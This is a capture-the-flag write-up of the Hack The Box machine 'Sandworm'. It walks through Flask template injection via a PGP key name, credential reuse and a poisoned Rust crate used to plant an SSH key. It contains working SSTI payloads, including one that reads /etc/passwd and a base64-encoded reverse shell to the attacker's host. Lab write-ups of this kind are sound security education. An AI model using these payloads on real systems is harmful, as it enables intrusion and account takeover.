Hack The Box: Sandworm Writeup
Sandworm is a Linux machine on Hack The Box. It served the web page of a fictitious secret agency. One of the web pages included web-based tooling to work with PGP messages. The PGP web page had a template injection vulnerability which allowed for remotely executing code as the web service's user. One of the configuration files in the user's home directory leaked the password to another user. Weak directory permissions permitted executing arbitrary code as the first user through code manipulation before compilation. The first user's session was sandboxed by a binary that was found to be vulnerable to CVE-2022–31214. It was possible to escape the sandbox and escalate privileges to root.
Walkthrough
Initially, the host was added to the hosts file on the attacking system. Following that, an nmap scan of the system identified SSH on port 22, HTTP on port 80, and HTTPS on port 443:
$ echo '10.10.11.218 sandworm.htb | sudo tee -a /etc/hosts'
$ sudo nmap -sC -sV sandworm.htb -Pn -p-
<SNIP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
<SNIP>
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: Secret Spy Agency | Secret Security Service
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
<SNIP>
As revealed by the nmap scan, the web server redirects to http://ssa.htb
, which was then added to the hosts file.
The website, powered by nginx, played the role of a platform for a fictional secret service agency. Their contact page provided a hyperlink to a guide (http://ssa.htb/guide
) that had capabilities for encrypting and decrypting PGP messages, as well as verifying PGP signatures:
To assess the functionality to verify signatures required a PGP key pair, so I generated one:
$ gpg --generate-key
<SNIP>
Real name: Real Name
Email address: email@localhost
You selected this USER-ID:
"Real Name <email@localhost>"
<SNIP>
For the real name and email address I entered arbitrary values that I would recognize later. Then, I used the key to sign a message:
$ echo "signed message" | gpg --armor --sign
-----BEGIN PGP MESSAGE-----
owEB3AEj/pANAwAKAdGSNvSF075OAcsVYgBlXbLWc2lnbmVkIG1lc3NhZ2UKiQGz
BAABCgAdFiEE4FD3aYY6o52E6TgH0ZI29IXTvk4FAmVdstYACgkQ0ZI29IXTvk5/
<SNIP>
-----END PGP MESSAGE-----
While the public key was exported with:
$ gpg --armor --export email@localhost
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQGNBGVdsnkBDAC8mJVQm+qyovWKn4x1mL2UGXLWQ0YCnYZ31f64CCHqCqWGC5+p
itGL9rpt5Y6VOCClGNnQo7mFwZ5NIEdsISILTN8XSMRxy+UVJYRfxRSE1m9lQAGy
QIs1aVSKTRaHY2+tzKIrNDXMp3F0DKF7MiGqeVt/+57GD7VwgEi+8TyX0pLJAiDx
<SNIP>
-----END PGP PUBLIC KEY BLOCK-----
Both values were required to test the signature verification tool. As the next screenshot shows, the tool verified the signature and printed the command output in a modal window. The information included the key holder name set during the key generation step:
As the real name value was reflected, I proceeded to probe it further. Suspecting a template injection vulnerability, I tested it with the payload {{7*7}}
as the web page stated that it was “powered by Flask” on another site.
Hence, I generated a new key pair with the value of {{7*7}}
for the real name. When verifying a signature with this pair’s public key, the web server indeed reported the interpreted result of the injection (49):
In the Flask framework, specific classes and methods are typically available and can be used for remote code execution. As a proof of concept, I used the following payload to confirm the server-side template injection (SSTI) one more time and read a system file:
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
The payload was successful and displayed the contents of the passwd file in the verification dialog. It revealed two non-default users:
silentobserver:x:1001:1001::/home/silentobserver:/bin/bash
atlas:x:1000:1000::/home/atlas:/bin/bash
I then used a similar payload that imports Python’s os
library and initiates a process to establish a reverse shell to the attacking machine. For this purpose, I encoded the payload with base64 and piped it to bash after decoding:
{{ get_flashed_messages.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS85MDAxIDA+JjEiCg==" | base64 -d | bash').read()}}
This worked flawlessly, granting me a shell as the user atlas
on the system. However, the shell appeared to be sandboxed, as many commands were not available and the file system was in a read-only state:
Instead of trying sandbox escapes right then, I discovered a configuration file in /home/atlas/.config/httpie/sessions/localhost_5000/admin.json
. The file contained the credentials of another user (silentobserver
) on the system:
The credentials were then used to log in over SSH as silentobserver
. The file system enumeration revealed non-default directories in /opt
. The directories /opt/crates
and /opt/tipnet
seemed to be Rust packages as they contained Cargo files. Finally, the source file lib.rs
of the logger
package was writable by silentobserver
:
The dependency definition in /opt/tipnet/Cargo.toml
referenced the logger
package, so tipnet
included its code.
Source code without execution does not help in escalating privileges, so I monitored the processes using pspy
[1], hoping for compilation and execution of the Rust binary. As the next screenshot shows, the code of tipnet
was compiled and the sticky bit was set on the resulting binary. This meant that future executions of the binary would always run in the user context of the owner, atlas
.
That meant it was possible to inject code as silentobserver
into the binary that can be run as atlas
due to the setuid bit.
I changed the function log
in lib.rs
to include code that wrote my SSH public key to the authorized keys file of atlas
before the actual logging functionality:
extern crate chrono;
use std::fs::{File, OpenOptions};
use std::io::{BufWriter, Write};
use chrono::prelude::*;
fn append_line_to_file(path: &str, line: &str) -> Result<(), std::io::Error> {
let parent_dir = std::path::Path::new(path).parent().unwrap();
if !parent_dir.exists() {
std::fs::create_dir_all(parent_dir)?;
}
let file = OpenOptions::new().create(true).append(true).open(path)?;
let mut writer = BufWriter::new(file);
writer.write_all(line.as_bytes())?;
writer.flush()?;
Ok(())
}
pub fn log(user: &str, query: &str, justification: &str) {
let line = "ssh-rsa AAAAB3NzaC1yc2EAAAA<SNIP>";
let path = "/home/atlas/.ssh/authorized_keys";
match append_line_to_file(path, line) {
Ok(()) => println!("Line appended successfully."),
Err(err) => println!("Error appending line: {:?}", err),
}
<SNIP>
Then, I transferred the manipulated lib.rs
over SSH and moved it to /opt/crates/logger/src/lib.rs
. After a brief interval, the background job compiled the target again, including the manipulated logging library. Given the setuid bit on the generated binary, the next step was to run the binary and trigger any log line generation.
A quick look into the source at /opt/tipnet/src/main.rs
revealed that running the program with a “keyword” but without “justification” would lead to calling the logging function. As illustrated in the screenshot, the binary was executed, and the final line of the output affirmed the successful appending of the SSH key:
It was then possible to log in over SSH as atlas
. This time, the shell did not seem sandboxed. I found the sandbox configuration in /home/atlas/.config/firejail/webapp.profile
:
atlas@sandworm:~$ cat .config/firejail/webapp.profile
noblacklist /var/run/mysqld/mysqld.sock
hostname sandworm
seccomp
noroot
allusers
caps.drop dac_override,fowner,setuid,setgid
seccomp.drop chmod,fchmod,setuid
private-tmp
private-opt none
private-dev
private-bin /usr/bin/python3,/usr/local/bin/gpg,/bin/bash,/usr/bin/flask,/usr/local/sbin/gpg,/usr/bin/groups,/usr/bin/base64,/usr/bin/lesspipe,/usr/bin/basename,/usr/bin/filename,/usr/bin/bash,/bin/sh,/usr/bin/ls,/usr/bin/cat,/usr/bin/id,/usr/local/libexec/scdaemon,/usr/local/bin/gpg-agent
<SNIP>
So the box was using firejail
to restrict the shell. Some research revealed, that the firejail
version on the box (0.9.68) is vulnerable to CVE-2022-31214[2]. This vulnerability allows to escalate privileges to local root by exploiting the “join” feature of the sandbox. The post on seclists also contains proof of concept code.
The CVE-2022-31214 PoC worked out of the box to escalate privileges on Sandworm:
That concludes this box. The journey took a bit of back-and-forth due to the restricted shell. However, in the end, it all came together. Thank you for reading and have a fun time with CTFs.
References: